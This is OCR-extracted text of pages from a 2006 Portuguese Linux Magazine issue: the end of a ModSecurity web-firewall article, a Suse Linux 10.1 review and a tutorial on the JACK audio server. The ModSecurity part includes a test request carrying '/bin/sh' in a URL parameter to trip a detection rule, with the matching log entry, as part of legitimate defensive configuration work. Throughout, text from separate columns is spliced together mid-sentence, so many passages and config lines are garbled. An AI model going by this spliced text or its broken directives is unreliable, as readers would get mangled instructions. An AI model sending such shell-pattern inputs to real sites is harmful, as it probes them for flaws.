2 como ponto de partida para algu- HTTP inteiro. Isso poderia causar um também precisará substituir a diretiva mas customizações. Na página oficial impacto maior do que podemos aceitar SecFilterSignatureAction por SecFilter- do projeto há uma configuração seme- sobre o desempenho. A entrada SecFilDefaultAction. lhante a essa. Se você pretende testar o terSelective Location SearchPattern AcChamar a URL http://Hostname/index. conjunto de regras numa máquina de tion nos permite filtrar itens específicos. php?a=/bin/sh num navegador web verifica produção, faz sentido registrar infrações A localização pode ser qualquer variável a regra de teste. Se a regra funcionar, o potenciais somente durante a fase de CGI. A documentação online mostra os módulo bloqueará o acesso e mostrará teste, para evitar o bloqueio de pedidos valores possíveis e explica como utilizáuma mensagem de Erro Interno do Sis- legítimos. Podemos usar para tal a en- los. Como exemplo, a seguinte diretiva tema. O arquivo error.log deve conter a trada SecFilterDefaultAction, usando o encontra todas as tentativas de acesso que parâmetro pass,log. não se originaram na rede 192.168.0.0/24: seguinte entrada: Em vez de retornar uma mensagem SecFilterSelective “REMOTE_ADDR|REMOTE_ [Fri Feb 24 14:25:12 2006] [error] de erro 403 quando a regra for quebrada, HOST” !192.168.0. ➥ [client 192.168.0.1] mod_security: Junto com o Apache 2, o ModSecurity o ModSecurity também mostrará o pe➥ Access denied with code 500. dido problemático a todos os endereços pode filtrar a saída de sites web. Se um ➥ Pattern match "/bin/sh" at REQUEST_URI ou sítios usando uma entrada como Se- atacante conseguir injetar código SQL ➥ [id "1001"] [rev "2"] cFilterDefaultAction “deny,log,redirect: malicioso que cause a revelação da senha ➥ [msg "/bin/sh attackattempt"] ➥ [severity "2"] [hostname "192.168.0.20"] http://targetpage.com”. Os filtros ajudam de um usuário de um banco de dados, o ➥ [uri"/modsec/index.php?a=/bin/sh"] a definir os critérios de busca que o Mod- SecFilterSelective OUTPUT “user_password” Security aplica a pedidos HTTP. deny,status:500 impedirá que a senha Para facilitar o uso de scripts para avaOs filtros sempre seguem o padrão seja mostrada. Para isso acontecer, no liar os arquivos de log mais tarde, cada de SecFilter SearchCriterion e, na versão entanto, precisaremos ativar a filtragem

Registro de coordenadas

Filtros

Primeira tentativa

Configuração Básica

http://supertuxbr.blogspot.com 48

http://www.linuxmagazine.com.br


ModSecurity | CAPA

da saída usando SecFilterScanOutput On. A filtragem da saída fica desativada por padrão, e por um bom motivo: esse recurso causa um overhead considerável, já que o ModSecurity examina todo o conteúdo servido pelo Apache. Além disso, o risco de filtrar conteúdo legítimo equivocadamente é bastante alto. Se precisarmos proteger múltiplas máquinas virtuais que realizam tarefas distintas, o fato de que o ModSecurity suporta herança de regras por diretórios pode ser útil. Regras de diretório têm precedência sobre regras globais:

valocidade de resposta do nosso servidor. Um teste usando o ab mostra a queda de desempenho. O benchmark é parte do pacote Apache. Rodamos essa ferramenta com os parâmetros time ab -n

Conclusões

Como barreira adicional a ataques a aplicativos web, o ModSecurity oferece diversos mecanismos de proteção. A efetividade desses mecanismos vai depen500 -c 30 http://servidor/phbBB2/index. der principalmente da configuração do php numa máquina com um processa- conjunto de regras, como é o caso com dor Intel Mobile Pentium 4 (1.8 GHz) todas as ferramentas de proteção baseada e medimos um tempo de aproximada- em regras. Com uma configuração ótimente 55 segundos para o benchmark ma, o módulo pode parar a maioria dos ser completado num Apache 2.0.55-4 ataques a servidores web e os aplicativos sem o ModSecurity. nele hospedados. Após ativarmos o ModSecurity com as Configurações grosseiras e genéricas configurações básicas mostradas no exem- podem deixar buracos na segurança e plo 2, o servidor ficou aproximadamente atrapalhar o serviço de conteúdo legíti<Location /subcontext/> dois porcento mais lento, mas, com a mo, então verifique cuidadosamente se SecFilterRemove 1001 ativação do conjunto de regras modsecu- você realmente precisa de uma regra de </Location> rity-general disponibilizado pelo projeto filtragem antes de aplicá-la. ■ ModSecurity Rules [6], o servidor web Este exemplo simplesmente desabilita levou um tempo 15 a 20 porcento maior a regra com ID 1001, mantendo as ou- para servir as páginas pedidas. Mais Informações tras. O exemplo seguinte faz justamente Os administradores de servidores [1] Modsecurity: o contrário -- desativa todas as regras de web fortemente carregados precisam http://www.ModSecurity.org nível mais alto, exceto pelas de número manter o conjunto de regras o mais [2] Conjuntos de regras do ModSecurity: simples possível, evitando assim maio1002 e 1003: http://www.ModSecurity.org/ res quedas de desempenho. Além do projects/rules/ <Location /subcontext/> número de regras, a complexidade SecFilterInheritance Off das regras que usamos é um fato im[3] Ferramentas para o httpd Apache: SecFilterImport 1002 1003 portante. Se tivermos filtros que usem http://www.apachesecurity.net/ </Location> expressões regulares, nosso conjunto tools/ de regras consumirá muitos ciclos de [4] Snortsam: http://www.snortsam.net Para facilitar a criação de conjuntos CPU a mais, em relação a operadores [5] Toolkit Spread: de regras, os sites dos projetos ModSecu- de comparação simples. De uma forhttp://www.spread.org rity Rule Sets [2] e Gotroot [6] oferecem ma geral, quanto mais precisamente conjuntos pré-configurados de regras para personalizarmos o cojunto de regras [6] Regras para ModSecurity: baixarmos. As regras do Gotroot supor- para nossas necessidades, menor será http://www.gotroot.com/ tam as novas capacidades oferecidas pelo a sobrecarga acarretada por ele. tiki-index.php? ModSecurity 1.9, que as tornam incomComo o Apache 1 não dispõe de um page=mod_security+rules motor de expressões regulares do tipo patíveis com versões mais antigas. [7] Mambo, exploit SQL: PCRE, diferentemente do Apache 2, a http://www.milw0rm.com/ sobrecarga no primeiro é um pouco maior. exploits/1061 Se um servidor web for exposto a um forte O ModSecurity tem outras opções de ataque, um conjunto de segurança além dos simples mecanis- regras de ModSecurity mos de filtragem. A função SecUploadA- bem planejado pode até pproveScript /caminho/até/script.sh nos aumentar o desempenho permite examinar arquivos mandados de um servidor web, já para o servidor em busca de vírus, rodan- que os pedidos não chedo um script que executa o antivírus. A garão a ser tratados pelos documentação online do ModSecurity scripts. Como ocorre com dispõe de um script simples. O módulo também faz um ambiente protegido (mais todos os outros aplicatiespecificamente, um chroot jail) através vos de segurança baseada entrada SecChrootDir /var/www/, impe- da em conjuntos de redindo assim que binários e scripts CGI gras, o ganho potencial de segurança depende fora da “cadeia” sejam chamados. enormemente das próprias regras usadas. Em outras palavras, os ataDependendo do tamanho e da profun- ques que as nossas regras Figura 3 A opção audit log do ModSecurity registra detalhes da abordagem e das circunstâncias em torno do ataque, dando ao administrador didade do nosso conjunto de regras, o não cobrirem afetarão dados muito úteis sobre os acontecimentos do dia. ModSecurity pode afetar seriamente a o servidor.

Outras características

Desempenho

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

49


Quão bom é o novo Suse?

ANÁLISE

Vai um upgrade? Algumas mudanças importantes ocorreram na nova versão do Suse Linux, da Novell. Veja se vale a pena atualizar ou migrar sua máquina. por Marcel Hilzinger Andy Heyward – www.sxc.hu

D

oze de maio foi o grande dia: a Novell finalmente disponibilizou em vários servidores o Suse Linux 10.1 para i386, x86_64 e ppc. Sua versão beta, repleta de bugs, obrigou-nos a examinar com grande cuidado cautela essa versão oficial.

talvez tenham gostado dos botões para O firmware está disponível nos servidores Manter tudo ou até Apagar tudo. O YaST espelho, no diretório non-oss-inst-source. configura um nome de máquina aleatório que segue o padrão de linux-abcd durante o processo de instalação: uma boa idéia, principalmente se você estiver Se você quiser usar o Suse 10.1 em coinstalando diversas máquinas ao mesmo nexão com múltiplas partições Linux, a tempo numa rede. nova política de segurança da Novell proO Suse Linux ainda tem uma detecção vavelmente o incomodará. Os usuários de hardware confiável. Porém, o fato de que não podem acessar dispositivos locais, a Instalar o Suse Linux 10.1 numa máquina ele identifica seu hardware corretamente menos que o administrador do sistema recente não deve ser um problema. Real- não significa que você terá suporte para adicione tais dispositivos ao arquivo /etc/ mente, não tivemos qualquer dificulda- esse hardware automaticamente. Drivers fstab. Caso contrário, o HAL vai até blode para atualizar a versão 10.0 em nosso WLAN são complicados; os drivers para as quear os usuários que estejam com essas laboratório, embora você talvez tenha placa Realtek das séries 2400 e 2500 não partições montadas. que resolver conflitos entre pacotes caso podem ser compilados para o kernel atual, Graças ao código aberto, há uma queira realizar uma atualização. Se você e estão ausentes no Suse Linux 10.1. Tam- forma fácil de contornar a medida de tiver uma máquina muito usada, talvez bém não espere drivers para placas Atheros segurança: na linha 7 do arquivo /usr/ isso exija muitos cliques em Manter pa- apesar de, felizmente, ser possível baixá-los share/hal/fdi/policy/10osvendor/99-storagecote ou Apagar pacote. Alguns usuários e instalá-los a partir da página do Madwifi policy-fixed-drives.fdi, mude a entrada [1]; o Packman adicionou < ... type=”bool”>true</merge> para < ... poucos módulos do ker- type=”bool”>false</merge>, e depois reinicie nel para esse repositório. o daemon do HAL como superusuário, Se você preferir instalar digitando rchal restart. O Online update (YaST Online Update, os drivers manualmente, pode buscar no Wiki do ou YOU) não pode ser completamente Opensuse [2] um Howto. bloqueado, mas a Novell definitivamenO novo gerenciador de te colocou um obstáculo. É necessário rede oferece ótimo su- registrar o seu computador num servidor porte a WLAN. Novell para utilizar o YOU. O módulo de O Suse Linux fornece Configuração do Online Update do YaST pacotes para drivers que ajuda os usuários a se registrar. Muitos não são parte do kernel usuários do Linux são alérgicos à palaoficial. Os drivers WLAN vra “registro”, mas antes de começarem estão localizados no pa- a escrever cartas-bomba, permitam-nos cote wlan-kmp-default, e explicar os objetivos do registro: o Ndiswrapper está no ➧ Coletar dados do hardware (principalndiswrapper-kmp-default. O mente para suporte a negócios) e, O YaST oferece uma interface conveniente para instalar e gerenciar Suse Linux também su- ➧ Configurar um servidor de atualizapacotes de software. porta o chipset Intel 3945. ções fixo, localizado em algum lugar

Bloqueio de dados

Instalação e hardware

Figura 1

http://supertuxbr.blogspot.com 50

http://www.linuxmagazine.com.br


Suse 10.1 | ANÁLISE

próximo a onde você está (antes, o YOU só selecionava aleatoriamente um espelho a partir de uma lista. Se você preferir não se registrar, simplesmente digite no YaST o seu servidor YOU favorito, na aba Mudar fonte de instalação.

Xgl e Gnome

numa máquina com 512 MB de RAM. Pelo menos o Suse Linux 10.1 deixa o usuário soltar o freio de mão, já que o YaST funciona sem o ZMD. Um rpm -e zmd rug zen-updater apaga as ferramentas Mono sedentas por memória. Se você tiver uma conexão rápida à Internet, talvez prefira não utilizar o gerenciador de pacotes da Novell, usando em seu lugar o Apt ou Figura 2 O Xgl traz o 3D à área de trabalho do Linux. o Smart. Nota: Quando o ZMD não está ro- Bastam poucos cliques do mouse no YaST dando, a instalação com o YaST e o para o usuário pôr o laptop para dormir Rug demora aproximadamente um mi- quando fecha a tampa. O Suspend-to-Disk funciona em todos os computadores relanuto a mais. tivamente recentes, independentemente de serem laptops ou desktops.

Para os amigos do Gnome, o Suse Linux 10.1 é uma boa escolha, embora não inclua o atual Gnome 2.14, e sim a versão 2.12. Apesar disso, a área de trabalho oferece uma sensação de novidade, e é sensivelmente mais rápida que o KDE. Mas seria exagero louvar o Gnome como um substituto para o KDE: por exemplo, o Gnome não oferece uma ferramenta gráfica para configurar os pontos de montagem de discos rígidos externos, e não procure o útil diálogo de visão geral em sysinfo:/ na área de trabalho GNU. Além disso, o Gnome não oferece uma alternativa de Apesar desses dois pontos problemáticos, verdade ao K3b ou ao KPowersave. O Gnome também é recomendado o Suse Linux 10.1 se mostrou uma disse você estiver interessado em tentar o tribuição com boa usabilidade. A nova Você poderia concluir que o Suse Linux Xgl – o sistema para uma área de traba- ferramenta de linha de comando rug é 10.1 é um trabalho sólido, se não fossem lho 3D da Novell. Usuários com placas muito poderosa, e dá aos usuários a pos- os lentos gerenciadores de pacote criando de vídeo suportadas podem desfrutar do sibilidade de instalar atualizações no problemas com as ferramentas Zen. Se cubo e diversos efeitos tridimensionais estilo do Apt ou do Smart. Entretanto, você usa o Apt ou o Smart para gerenciaenquanto os usuários do Windows® enquanto escrevemos este artigo, ainda mento de pacotes, não há motivos para ainda estão esperando. Apesar de ser ne- é extremamente lenta. não atualizar. cessária uma configuração manual, essa O Zen Updater, Zen Installer e Zen Se você tiver um laptop, procure nos não deve ser muito problemática nem Remover têm novidades interessantes. Por fóruns apropriados detalhes se o Suse Linux para os iniciantes. O Wiki do Opensuse exemplo, o Zen Updater mostra ao usu- 10.1 suporta sua placa WLAN antes de decidir [3] tem um Howto que inclui dicas para ário as atualizações para todas as fontes atualizar. Em caso positivo, a atualização configurar placas de vídeo específicas. de instalação, e não somente os patches definitivamente vale a pena. Para usuários O Xgl funciona com o KDE, mas com de segurança e correções de falha da No- com máquinas mais antigas, e para aqueles algumas restrições: por exemplo, você vell. Isso permite que o usuário saiba, por satisfeitos com suas configurações atuais, o é obrigado a utilizar decorações de ja- exemplo, se o Packman tem uma nova velho adágio ainda vale: em time que está nela do Gnome, e o trocador de área versão do K3b. O Zen Installer facilita a ganhando, não se mexe! ■ de trabalho do painel do KDE não instalação de novos pacotes graças a sua Mais Informações suporta o Xgl. interface limpa, e deixa usuários específicos instalarem programas sem saber a [1] Madwifi: http://madwifi.org/ senha do superusuário. [2] Configuração de placas Atheros: As primeiras reações na lista Suse http://en.opensuse.org/ Apesar de o gerenciamento de pacotes ter Laptop [4] sugerem que o Suse 10.1 meAtheros_madwifi sido completamente retrabalhado diversas lhorou profundamente o gerenciamento vezes na fase beta, ele ainda deixa muito a de energia. Graças à nova ferramenta de [3] Configuração do Xgl: desejar. O Zenworks Linux Management linha de comando s2ram, o suspend-to-RAM http://en.opensuse.org/Xgl Daemon (ZMD) é feito principalmente funciona agora em diversos laptops sem [4] Lista Suse Laptop: para administradores de sistemas em am- intervenção manual. Para isso, o s2ram http://lists.suse.com/ bientes heterogêneos – mas a ferramenta procura numa lista branca se o dispositiarchive/suse-laptop/ provavelmente tornará PCs caseiros mais vo em questão suporta essa propriedade. lentos. Em nossa máquina do laboratório, com 256 MB de RAM e processador de 1.4 Tabela 1: Tempos de instalação GHz, o ZMD levou mais de um minuto para simplesmente ser completamente iniciado. yast -i ipw-firmware rug install ipw-firmware rpm -ivh ipw-firmware && SuSEconfig Instalar um pacote RPM de 2 MB levou Com ZMD 1:40 min 1:15 min 0:16 min mais um minuto e meio (veja a tabela 1). Sem ZMD 1:06 min 0:10 min Os resultados ficam um pouco melhores

Luz no horizonte

Conclusões

Não o bastante

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 200X

51


Áudio para profissionais

TUTORIAL

JACK, o servidor

Profissionais de áudio necessitam de um sofisticado servidor de som. Com alta qualidade de som, possibilidade de sincronia em tempo real e ampla conectividade através de redes, o JACK é o servidor de áudio que está se tornando o padrão para profissionais no Linux. por Dave Phillips

Gast

on T

H AU

VIN –

www .sxc.h

u

A

maioria dos usuários de Linux áudio instalados. Esses dispositivos insabem que um servidor oferece cluem placas de som, chipsets de som serviços, tanto para uma máqui- onboard e qualquer outro hardware de na quanto para uma rede. O objetivo de áudio, como por exemplo placas de teum servidor é eliminar a necessidade de lefonia, A/V combinadas, de televisão acessar tais serviços no nível do aplicativo. e de rádio. Por exemplo, um servidor X gerencia e O desktop gráfico no Linux depende do controla o acesso aos serviços de vídeo X para seus serviços de vídeo. Assim, seus do chipset gráfico do computador, livran- aplicativos preferidos de KDE ou Gnome do os desenvolvedores do fardo de lidar incluem rotinas para acessar esses servidiretamente com tais serviços. ços pela API (application programming Um servidor de áudio gerencia o interface, ou interface de programação acesso aos serviços dos dispositivos de de aplicativos) do X. Os desenvolvedo-

Quadro 1: Sobre placas de som A indústria de áudio faz distinção entre dispositivos para usuários comuns e profissionais. Aqueles destinados a usuários comuns incluem os de interface PCI e USB, chipsets onboard para desktops e laptops, e hardware mais avançado como as placas Creative SB Live! e Audigy. Esses dispositivos normalmente fornecem canais para um controle mestre do volume, saída de áudio PCM e CD, e entradas para microfones e line-in. Os canais de volume mestre, CD, microfone e line-in são auto-explicativos. O canal PCM é um canal genérico de playback de áudio digital que fornece um controle de volume para programas que tocam arquivos WAV, AIFF, OGG, MP3 e outros. Dependendo do chipset de áudio, esses serviços básicos podem ser expandidos para incluir canais de saída de sintetizadores onboard, conexões de áudio digital, canais de som surround e controle de graves e agudos. Mixers de software como o alsamixer consultam o hardware para descobrir seus recursos e configuram o mixer para mostrar os canais disponíveis. Com isso, o chipset de áudio CS4232 do meu laptop provê um pouco mais do que os serviços básicos, enquanto a SBLive do meu desktop provê uma gama bem maior. Placas de áudio de nível profissional como a RME Hammerfall ou a M-Audio Delta são desenvolvidas para satisfazer diferentes necessidades, fornecendo conectividade de áudio de alta qualidade, como plugues AES/EBU e balanceados de 1/4”, um número maior de canais de E/S de áudio, maiores taxas de amostragem e recursos de sincronização de hardware. Podem ainda incluir conectividade MIDI, e normalmente não incluem características de placas feitas para usuários normais, como sintetizadores onboard e conectores para a saída de áudio da unidade de CD. A distinção entre os níveis das placas diminui com alguns dispositivos feitos para consumidores comuns, e certamente é possível alcançar resultados de alta qualidade com algumas placas de som modernas. Entretanto, para necessidades realmente profissionais, você precisará de placas voltadas a esse meio.

res podem escrever programas para o hardware através de uma API geral, em vez de se comunicarem diretamente com este. Infelizmente, o desktop Linux sônico ainda não dispõe de uma solução padronizada única para servir recursos de áudio ao sistema. O que existe hoje é uma profusão de soluções, incluindo os sistemas artsd, esd, NAS e JACK. Tocar sons do sistema, ouvir CDs e DVDs ou gravar sons não exige muito do servidor de áudio. Gerenciar múltiplos streams de áudio nesse nível não requer sincronizações precisas de som, nem tampouco um sistema altamente flexível de roteamento para o cliente. A maioria dos usuários simplesmente quer tocar sons gravados sem bloquear outros streams de áudio. O artsd e o esd são servidores de som feitos para cumprir essa tarefa para ambientes KDE e GNOME. O NAS (Network Audio System) é um sistema de som alternativo no estilo servidor-cliente. Ele trabalha bem em rede e tem o intuito de funcionar como um equivalente de áudio do servidor X. Dentro de suas limitações, o artsd, o esd e o NAS funcionam bem. Porém, nenhum desses servidores fornece uma sincronização real de E/S de múltiplos streams de dados de áudio, nem foram feitos para atingir alto desempenho em sistemas de baixa latência. Se você precisa desses recursos poderosos, seja bem-vindo ao mundo dos sistemas profissionais de áudio, e conheça o JACK. ➧

http://supertuxbr.blogspot.com 52

http://www.linuxmagazine.com.br


JACK | TUTORIAL

Quadro 2: Opções do JACK No primeiro contato com o JACK, você pode ficar um pouco confuso com suas opções. Este breve resumo deve ajudar nessa tarefa. Primeiro, os parâmetros:

áudio. Ruídos de baixo nível são misturados num sinal para tornar aleatórios os erros de quantização de áudio digital, transformando as distorções digitais audíveis e desagradáveis em algo mais parecido com ruído analógico. O dithering é especialmente útil quando a saída de sua placa de som tem resolução menor que 24 bits e você está rodando o JACK à taxa real de amostragem do hardware. Também recomenda-se ativar o dithering para quase todas as placas de som comuns, mas a diferença sonora pode não ser perceptível nos alto-falantes geralmente ligados a essas placas.

➧ -R, --realtime – Inicia o JACK com prioridade de tempo real. Normalmente queremos ativar essa opção, mas precisamos de privilégios de root (ou um kernel que dê tais privilégios a usuários normais). Os kernels das distribuições AGNULA/Demudi e Planet CCRMA fornecem essa funcionalidade, mas qualquer kernel pode receber patches e modificações que garantam baixa latência com privilégios de root a usuários normais. Privilégios de root são necessários somente para o scheduling em tempo real e o bloqueio de memória, e o JACK é perfeitamente utilizável em sistemas sem tais privilégios. Além disso, você pode desativar o recurso de tempo real em ambientes de teste ou quando quiser resolver algum problema.

➧ -P, --realtime-priority – Ativa a prioridade de tempo real do scheduler. Geralmente você pode deixar esse parâmetro em seu valor padrão de 10. Em máquinas com kernel preemptivo em tempo real, pode ser especificado esse valor para no mínimo 70 para manter o JACK à frente dos gerenciadores de interrupção.

➧ -m, --no-mlock – Manda o JACK manter a memória desbloqueada. Essa opção pode ser útil ao rodar o JACK em tempo real num sistema cuja memória física esteja sendo consumida pelo JACK e seus clientes. Ou seja, a maioria dos usuários não precisará ativar essa opção.

➧ -p, --port-max – Especifica o número máximo de portas de saída do JACK. Esta opção é especialmente útil para quem usa muitas faixas no Ardour. O padrão de 128 deve ser suficiente para a maioria dos usuários. O QjackCtl permite selecionar até 512 portas, mas pode-se usar mais, desde que haja memória suficiente.

➧ -u, --unlock – Desbloqueia a memória ocupada por toolkits gráficos (GTK, QT, FLTK, WINE). Novamente, essa opção é útil em máquinas com pouca memória RAM, mas é especialmente útil para usuários rodando plugins VST/VSTi e outros aplicativos dependentes do WINE. Em alguns casos, esses aplicativos podem se recusar a rodar até que essa opção seja ativada. Você pode desbloquear a memória ocupada pela GTK ou QT se estiver rodando muitos aplicativos graficamente exigentes num ambiente com menos memória do que necessita.

➧ -d, --driver – Seleciona o driver de hardware. Na realidade, essa opção seleciona o back-end do sistema de áudio. Sistemas atualmente suportados incluem ALSA, OSS/Linux, CoreAudio, PortAudio e um sistema dummy útil para teste. A maioria dos usuários de Linux utilizarão ALSA ou OSS.

➧ -s, --softmode – Ignora xruns relatados pelo driver ALSA, reduzindo a tendência do JACK a desconectar portas que não respondem quando estiver rodando sem prioridade de tempo real. Você deve selecionar essa opção se quiser evitar relatos de erro muito extensos. Essa opção também pode ser útil caso se deseje manter o estado de conexão do JACK, sem importar o que venha a acontecer. ➧ -S, --shorts – Força a E/S do JACK a 16 bits. O processamento interno do JACK sempre ocorre a 32 bits e, por padrão, ele tentará estabelecer a resolução de entrada e saída em 32, 24 e 16 bits, nessa ordem, relatando sucesso ou fracasso a cada tentativa. Usuários com placas de vídeo que sabidamente funcionam melhor a 16 bits podem usar essa opção simplesmente para evitar os relatórios de erro. Devido a chipsets de áudio com largura de banda limitada, alguns dispositivos sacrificam a taxa de amostragem em favor do número de canais E/S, fornecendo mais canais a taxas mais baixas. ➧ -H, --hwmon – Ativa o monitoramento por hardware das portas de captura do ALSA, fornecendo monitoramento com latência zero à entrada de áudio. Precisa de suporte do hardware e do driver. A página de manual do jackd diz que essa opção faz com que pedidos de monitoramento de portas de captura sejam satisfeitos com a criação de um caminho de sinal direto entre os conectores de entrada e saída da interface de áudio, sem qualquer processamento por parte da CPU. Isso oferece a menor latência possível para o sinal monitorado. Note que essa opção atualmente só está disponível em associação com os drivers ALSA das placas RME Hammerfall e das baseadas no chipset ICE1712 (M-Audio Delta 44/66/1010, Terratec e outras). O banco de dados de placas de som do ALSA lista as placas com suporte ao monitoramento por hardware. ➧ -M, --hwmeter – Mais uma opção somente disponível com o ALSA. Ativa a medição por hardware se sua placa de som a suportar. Essa opção raramente é usada, e provavelmente será retirada em versões futuras. ➧ -z, --dither – Dithering é um processo que minimiza efeitos colaterais da redução da profundidade de bits de um arquivo de

➧ -r, --rate – Especifica a taxa de amostragem do JACK. O padrão é 48000, mas você pode experimentar outras para determinar a melhor taxa para seu sistema. Sistemas mais fracos podem precisar reduzir a taxa de amostragem para melhorar o desempenho, mas normalmente 44100 é a taxa que oferece alta qualidade de som. Note que algumas placas de som, como a SBLive, só funcionam bem com uma única taxa de amostragem. ➧ -p, --period – Especifica o número de quadros entre as chamadas de função process() do JACK. O padrão é 1024, mas, para baixa latência, use -p o mais baixo possível sem produzir xruns. Períodos maiores produzem maiores latências, mas por outro lado tornam xruns menos prováveis, então você talvez tenha que experimentar para encontrar a melhor configuração para seu hardware. Um man jackd informa que a latência de entrada do JACK (medida em segundos) é --period dividido por --rate. ➧ -i, --inchannels; -o, --outchannels – Essas configurações determinam o número de canais de E/S de áudio. O padrão é o número máximo suportado pelo seu hadware, então você pode usar o padrão na maioria das situações. ➧ -n, --nperiods – Especifica o número de períodos no buffer do hardware. O valor padrâo é 2. O tamanho do período (-p) vezes --nperiods vezes quatro será igual ao tamanho do buffer do JACK em bytes. A propósito, a latência de saída do JACK (novamente em segundos) é o número de períodos (-n) vezes o tamanho do período (-p) dividida pela taxa de amostragem (-r). ➧ -C, --capture; -P, --playback; -D, --duplex – Coloca o JACK em somente gravação, somente reprodução, ou full duplex (gravação e reprodução simultâneas). Essa configuração pode ser muito importante: algumas placas funcionam mal em modo duplex e bem em simplex. Por exemplo, no meu laptop, o JACK informa uma corrente permanente de xruns se eu usar o chipset CS4232 em modo duplex. Os xruns desaparecem quando o JACK é colocado em modo somente gravação ou somente reprodução. Recomenda-se procurar as melhores configurações para menor latência e menos xruns primeiramente com as opções de tamanho do período, taxa de amostragem e número de períodos.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

53


TUTORIAL | JACK

é necessário para o JACK além da bibio- retório JACK, leia o README para instruções teca de E/S de áudio libsndfile, de Erik atualizadas, e dê o comando ./configure --help para ver as opções de configuração de Castro Lopo. De acordo com o FAQ do JACK, é disponíveis. O JACK é feito com os já faFigura 1 Controle do JACK com o QjackCtl. necessário um kernel Linux recente (2.4 miliares utilitários autotools, então para a ou mais novo) com suporte ao sistema de maioria dos usuários a seqüência ./confiarquivos tmpfs. A maioria das distribui- gure [suas opções]; make; make install já O desenvolvedor Paul Davis criou um ções modernas têm isso, mas você pode faz toda a compilação e instalação. dos mais notáveis programas de áudio verificar com o comando cat /proc/fiInstalar o JACK a partir de um RPM de código aberto, o JACK Audio Con- lesystems. A FAQ também diz que você ou outro pacote também não requer nection Kit, mais conhecido como JACK. deve montar um sistema de arquivos de qualquer suporte especial. Siga o proceO JACK foi feito especificamente para memória compartilhada em /dev/shm, e dimento básico de instalação para o seu sistemas que visam a baixa latência com que a seguinte linha deve ser adicionada sistema e voilá, você já tem um sistema alta demanda. Sistemas profissionais de ao /etc/fstab: JACK pronto para usar. gravação de áudio não podem permitir atrasos audíveis ou quebras (conhecidas shmfs /dev/shm shm 0 0 como xruns no JACK), e esses sistemas ➥ defaults O servidor JACK é iniciado com os codevem suportar a operação síncrona de múltiplos clientes num ambiente de A FAQ diz ainda que você deve criar mandos jackd ou jackstart. A página de baixa latência. o diretório /dev/shm pessoalmente. O co- manual do JACK (man jack) nos informa que jackd chama o daemon do servidor JACK, Além de seu desempenho robusto, o mando mkdir é seu amigo. Depois de descompactar o código- e jackstart é usado quando se deseja o suJACK traz características tais como: ➧ suporte a qualquer dispositivo com- fonte, simplesmente entre no novo di- porte do JACK aos recursos de tempo real. patível com ALSA ➧ suporte a uma variedade de back-ends de sistemas de áudio (ALSA, OSS/Linux, PortAudio, CoreAudio) ➧ conectividade livre entre clientes – sem atrasos ou quebras ➧ suporte a um sistema mestre de controle de transporte A tarefa principal do JACK é o gerenciamento de múltiplos streams de áudio, indo e vindo de diversos aplicativos com entrada e saída sincronizadas. O JACK requer um sistema de áudio -- ele não substitui um sistema de áudio como o ALSA ou o OSS/Linux. O JACK não provê drivers de placas de som, nem acessa o hardware diretamente; ele depende de uma camada de áudio de baixo nível para fazer essa comunicação, que no Linux é composta pelo ALSA ou pelo OSS. O JACK não se importa com o hardware sob ele; ele simplesmente gerencia os streams entrando e saindo dos Figura 2 O diálogo de configuração do QJackCtl. seus dispositivos.

Apresentando o JACK

Iniciando o JACK

Compilando e instalando o JACK O JACK está disponível como um pacote básico nos sistemas AGNULA/Demudi e Planet CCRMA, otimizados para áudio. Um tarball dos fontes da última versão pública está disponível no site do JACK. O site também dá instruções para compilar o JACK a partir dos fontes do CVS para aqueles que quiserem acompanhar os desenvolvimentos mais recentes. Nenhum requisito especial de compilação

Figura 3

Patchbay do QJC ajuda a gerenciar conexões.

http://supertuxbr.blogspot.com 54

http://www.linuxmagazine.com.br


JACK | TUTORIAL

Figura 5

Figura 4 Patchage é um patchbay para conectividade de áudio do JACK e ALSA MIDI.

Todas as opções são as mesmas para ambas as formas de chamá-lo. Para a maioria dos usuários de sistemas com kernels da série 2.4, jackstart é o método preferido para iniciar o servidor. Usuários de kernels da série 2.6 devem usar jackd. Aqui está uma forma relativamente simples de começar: jackd -R alsa -d hw:0

Neste exemplo, o JACK será iniciado com suporte a tempo real, informando o back-end ALSA e comunicando-se com o primeiro dispositivo do sistema de áudio. Os parâmetros -d hw:0 na realidade são desnecessários; a seleção de hardware sempre recai por padrão sobre hw:0. Naturalmente, você pode usar um número diferente para uma placa diferente num sistema com mais de um dispositivo de som. Aqui está um exemplo um pouco mais complexo para a minha placa de som SBLive: jackstart -R -d alsa -d hw:1 -p 512 -r ➥ 48000 -z s

Novamente vemos as opções de tempo real e ALSA. O seletor de dispositivos recebe o número hw:1 porque a SBLive é a segunda placa nessa máquina. Eu acrescentei opções para tamanho do buffer (-p), taxa de amostragem do JACK (-r), e para a opção de dithering de áudio (-z). Note que a opção -p especifica o tamanho do buffer. Como Jack O’Quin nos mostra,

este é o tamanho de buffer enxergado por todos os clientes JACK. Veja o quadro Opções do JACK para mais informações sobre as opções de linha de comando do JACK.

Interfaces gráficas

Já vimos o JACK em ação na linha de comando. Porém, trabalhando num ambiente X, é melhor ter uma interface gráfica para a configuração, e felizmente temos o QJackCtl (figura 1). Esse utilitário oferece uma interface gráfica abrangente para configurar e controlar todas as operações do JACK. Além de um diálogo de configuração bastante conveniente (figura 2), o QJC oferece também um painel de conexões de áudio para clientes e um conjunto de controles básicos de transporte do JACK. O QJC ainda fornece painéis de mensagens e status, controles para iniciar e parar o servidor, e controles para iniciar e pausar o sistema de controle de transporte do JACK. O QJC também inclui um painel de conexões MIDI para clientes de seqüenciadores ALSA, permitindo aos usuários gerenciar a conectividade de áudio e MIDI por uma única interface de controle. Pode-se salvar e carregar um gráfico com todas as suas conexões como um perfil no Patchbay do QJC (figura 3). A operação do Patchbay não é exatamente Figura 6

QJackConnect é um patchbay feito com QT.

automática, mas economiza muito tempo se as suas conexões forem muitas e complexas. O QJC é uma ótima ferramenta para controlar o JACK, mas há pelo menos outras duas interfaces gráficas para gerenciamento da sua conectividade. O Patchage é um patchbay de conectividade tanto para JACK quanto para MIDI do ALSA, via sua interface gráfica única (figura 4). O QJackConnect (figura 5), por sua vez, é um bom patchbay em QT, mas seu desenvolvimento aparentemente está parado.

Aplicativos

